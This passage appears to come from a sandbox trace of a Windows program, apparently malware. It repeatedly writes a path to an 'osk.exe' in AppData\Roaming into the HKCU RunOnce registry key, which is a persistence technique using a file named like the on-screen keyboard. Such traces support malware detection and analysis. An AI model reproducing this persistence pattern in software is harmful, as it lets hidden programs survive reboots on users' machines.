CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.694] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.694] RegCloseKey (hKey=0x14c) returned 0x0 [0255.695] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.695] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.755] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.755] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.755] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.755] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.756] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f610 | out: ppvObject=0x624f610*=0x0) returned 0x80004002 [0255.756] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2b [0255.756] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.756] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2c [0255.756] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0180) returned 0x0 [0255.756] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2b [0255.756] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.756] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.756] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.757] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.757] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f630 | out: ppvObject=0x624f630*=0x0) returned 0x80004002 [0255.757] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2c [0255.757] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2b [0255.757] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.757] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2b [0255.757] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f640) returned 0x0 [0255.758] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2a [0255.758] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.759] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.759] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.759] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.759] RegCloseKey (hKey=0x14c) returned 0x0 [0255.759] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.760] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.765] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.765] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.765] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.765] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.765] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f690 | out: ppvObject=0x624f690*=0x0) returned 0x80004002 [0255.765] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2c [0255.765] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.765] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2d [0255.765] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e01e0) returned 0x0 [0255.766] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2c [0255.766] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.766] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.766] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.766] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.766] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f6b0 | out: ppvObject=0x624f6b0*=0x0) returned 0x80004002 [0255.766] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2d [0255.766] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2c [0255.766] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.766] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2c [0255.766] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f6c0) returned 0x0 [0255.767] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2b [0255.767] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.768] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.768] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.768] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.768] RegCloseKey (hKey=0x14c) returned 0x0 [0255.769] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.769] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.780] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.780] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.781] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.781] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.781] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f710 | out: ppvObject=0x624f710*=0x0) returned 0x80004002 [0255.781] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2d [0255.781] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.781] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2e [0255.781] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0240) returned 0x0 [0255.782] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2d [0255.782] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.782] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.782] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.782] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.782] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f730 | out: ppvObject=0x624f730*=0x0) returned 0x80004002 [0255.782] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2e [0255.782] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2d [0255.782] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.782] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2d [0255.783] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f740) returned 0x0 [0255.784] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2c [0255.784] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.784] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.784] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 